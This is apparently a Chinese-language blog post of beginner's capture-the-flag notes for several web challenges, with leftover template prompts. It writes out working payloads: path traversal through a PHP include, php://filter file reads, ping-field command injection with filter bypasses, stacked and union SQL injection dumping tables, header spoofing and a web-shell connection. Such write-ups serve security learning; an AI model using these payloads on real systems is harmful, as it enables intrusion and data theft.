提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加
提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档
@TOC
提示:这里可以添加本文要记录的大概内容:
菜鸡的笔记
提示:以下是本篇文章正文内容,下面案例可供参考
示例:等俺刷完再写
flag{d998af85-ff56-4947-ad6b-aab85e8a426e}
"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "
"; } ?>
发现 接着打开此网页查看 得到提升flag在ffffllllaaaagggg目录中我们需要绕过将其打开 接着开始审计代码 $_REQUEST 传参为全局变量 empty 判断传参是否为空 is_string 检查是否为字符串 和上面哪个函数
class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { 判断是否为空是否是字符串 echo "you can't see it"; return false; } 这个if语句正常逃逸 if (in_array($page, $whitelist)) { 字符串查找 return true; } 这个返回值为真即在此处结束即可 $_page = mb_substr( 函数返回字符串的一部分 $page, 0, mb_strpos($page . '?', '?')返回要查找的字符串在别一个字符串中首次出现的位置 );这一分是返回$page起始到第二个?的内容 if (in_array($_page, $whitelist)) {接着查找 return true; } $_page = urldecode($page); 解码 URL 字符串函数 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { 同上 return true; } echo "you can't see it"; return false; } }
看关键函数返回ture 后执行 include函数(这个在C中解释是预编译)他会执行$file的传参 然后我们进行查找ffffllllaaaagggg所在函数 命令:/?file=source.php?../../../../ffffllllaaaagggg ①尝试 ../../ (../是返回上一目录) 进行N次尝试后 在 /?file=source.php?../../../../../ffffllllaaaagggg 得出flag{42237a1c-465b-4d2d-ba08-4f109a6108ed}
查看源代码后发现一段代码 根据代码提示请求后 /?cat=dog 得出 flag{68201e55-d596-4925-af0f-fc1dc6bcc748}
点开环境是一个跳转接着点 查看源码也是啥都没有抓包后也是没有收获于是想到可能是文件包含的题用filter 协议
点击此处有相关介绍 file=php://filter/read=convert.base64-encode/resource=flag.php 读取后进行base64解密即可 flag{680b0071-ebfa-4c01-9589-0f443ed47ebe}
点开环境是一个ping
输入127.0.0.1本机ip发现有回响接着输入 & 符进行后续输入 发现可以打开接着进行不断查找flag所在位置 cd 打开位置 ls 列出当前目录 ../ 返回上一级 打开该文件 cat 打开文件 得出flag{c6c89bab-5179-4bca-a09f-9f841d0a7eec}
此题我做了好久这题做法不一姿势很多很骚 打开环境后尝试万能密码有回响 ####### 首先查询基本内容 接着注入查看列库表的一些基本内容 1';order by 3;#
查列发现有三列 1';show tables;# 查表发现有两个表
大致内容了解在当前 hahahah数据库中有两个表和禁用掉的相关函数 ####### 接着查询两个已知的数据表 1'; show columns from 1919810931114514
;# 发现flag 但由上面可得select函数被禁用无法查看 11'; show columns from words;# 查询第二个表 ####### 由以上内容进行姿势绕过 ####### 法① 一直当输入万能密码时该数据库的id字段会爆出来
so如果我们将flag的列名换成id这样就可以爆出来 需要先将words的表名换了再换列名 1';rename table words to B; rename table `1919810931114514` to words; alter table `words` change `flag` `id` varchar(100);# varchar(100);原id是int型而现在的是char进行改变
万能密码爆出flag{98f25409-1314-4bce-907e-79a464913fec}
####### 法② 通过绕过select 函数检测来读取flag 怎么绕过呢常见的绕过大小写 双写 拼接 而这个题就是可以采用拼接和大小写绕过检测 concat拼接函数然后再来个预编译试试
·1';set @sql=concat('se','lect * from `1919810931114514`;');prepare qw from @sql;execute qw;# 先于编译然后再使用
得出flag{8999abac-75f4-4f99-9350-a6d8a01f59b8}
简单注入真滴简单死了反正我是噶了 打开输入1然后爆出一些东东接着联合查询啥的发现都不能用但是还能爆出一些基本信息
但是也没有多大鸟用最后还是看大佬的WP做的 通过大佬可知 源码可能为:select $_POST[‘query’] || flag from Flag 有源码可得: 当输入的值为 *,1 时语句为 select *,1 || flag from Flag => select *,1 from Flag 此处1是指新增一列而 *是所有 即查出所有 还有一种做法是将 || 入手将其从逻辑符变成连接符 即更改其SQL配置将其改为连接符 set sql_mode=PIPES_AS_CONCAT 即姿势诞生 1;set sql_mode=PIPES_AS_CONCAT;select 1 更改配置后重新查询一下即可 flag{687061d4-d5e0-4bb0-ae5e-4d759fcce69e}
打开后正常ping一下测试 然后进行其他尝试由于到打游戏的时间了此题长话短说总之呢你会发现他吧 空格符号禁用了还禁用了flag的每个字符
$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09
上面可以替代空格的 然后接下来 /?ip=127.0.0.1|l列一下当前目录 然后尝试打开flag结果打不开所以打开另一个文件/?ip=127.0.0.1;cat$IFS$1index.php 发现过滤的东西,但是有个 $a变量可以进行参数覆盖
?ip=127.0.0.1;a=f;tac$IFS$1$alag.php 过滤 ?ip=127.0.0.1;a=l;tac$IFS$1f$aag.php 没flag ?ip=127.0.0.1;a=a;tac$IFS$1fl$ag.php 过滤 ?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php 有flag ?ip=127.0.0.1;a=fl;b=ag;tac$IFS$1$a$b.php 过滤 ?ip=127.0.0.1;b=ag;a=fl;tac$IFS$1$a$b.php 有flag 时间紧急这一段是复制别人的(可用)
?ip=127.0.0.1;cat$IFS`ls` 内敛执行 ?ip=127.0.0.1;cat$IFS$3`ls` 即将ls以参数的形式在cat中执行 ?ip=127.0.0.1;cat$IFS$9`ls` 注意ls是用`` 包裹的即英文的波浪号 ?ip=127.0.0.1|cat$IFS$9`ls` tac 与 cat 显示在前后的差别
发现隐藏文件打开后 点击后发现直接结束了 怎么办抓个包试试 在抓包回显时发现隐藏文件打开文件
发现一串代码审计进行分析发现最下面表示答案就在 flag.php打开看看 发现就在里面可是看不到猜测文件包含用一下data也被了用伪协议base的形式输出 file=php://filter/read=convert.base64-encode/resource=flag.php 发现隐藏东东 解密 flag{db1b9ae8-1dd8-4880-808c-9d37dc2c98ce}
点击打开后尝试万能密码
1' or 1=1#
有注入但内容经过一系列百度解密发现没有卵用,回到登陆页面查列表
1' order by 3# 没有报错
1' order by 4# 有报错
1' union select 1,2,3# 已知是三列所以是 1 2 3
1' union select 2,database(),version()# 字段那个1 2 3写那个都行
得到库进行爆库表 1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,database(),group_concat(table_name) from # 字段 当前库 结果连接起来一行输出 information_schema.tables where table_schema=database()# 数据库中的默认 .后 里面是所有 .后 名 在当前库查
查询发现两个表名进行爆字段处理 1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
1' union select 1,database(),group_concat(column_name) from 查列 库 连接一行输出 information_schema.columns where table_name='l0ve1ysq1'# 获取所有列信息
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1 #
1' union select 1,database(),group_concat(id,username,password) 查列 库 一行输出 from l0ve1ysq1 表名
得出flag{0f7f8f7b-e492-4e26-94e0-7f6f5701e9c1} 经查询另一个表是没有flag的
这题就比较简单他是暗示 菜刀 ???正经人喜欢用蚁剑的不懂的可以百度一下 直接连接 连接成功真是白给 在根目录得到flag{87809b1c-7820-4bef-969d-fe879b42b685}
给出提示你需要以https://www.Sycsecret.com网址打开我们通过抓包方式进行伪造 Referer 服务器伪造原理
回响提示需要浏览器了 回响显示需要在本机访问即伪造ip X-Forwarded-For X-Forwarded-For 概念用法
得出flag{aeea856c-ed33-4b4b-8853-a0b5dcf0da21} 注意放置位置与格式
提示:这里对文章进行总结:
TIMI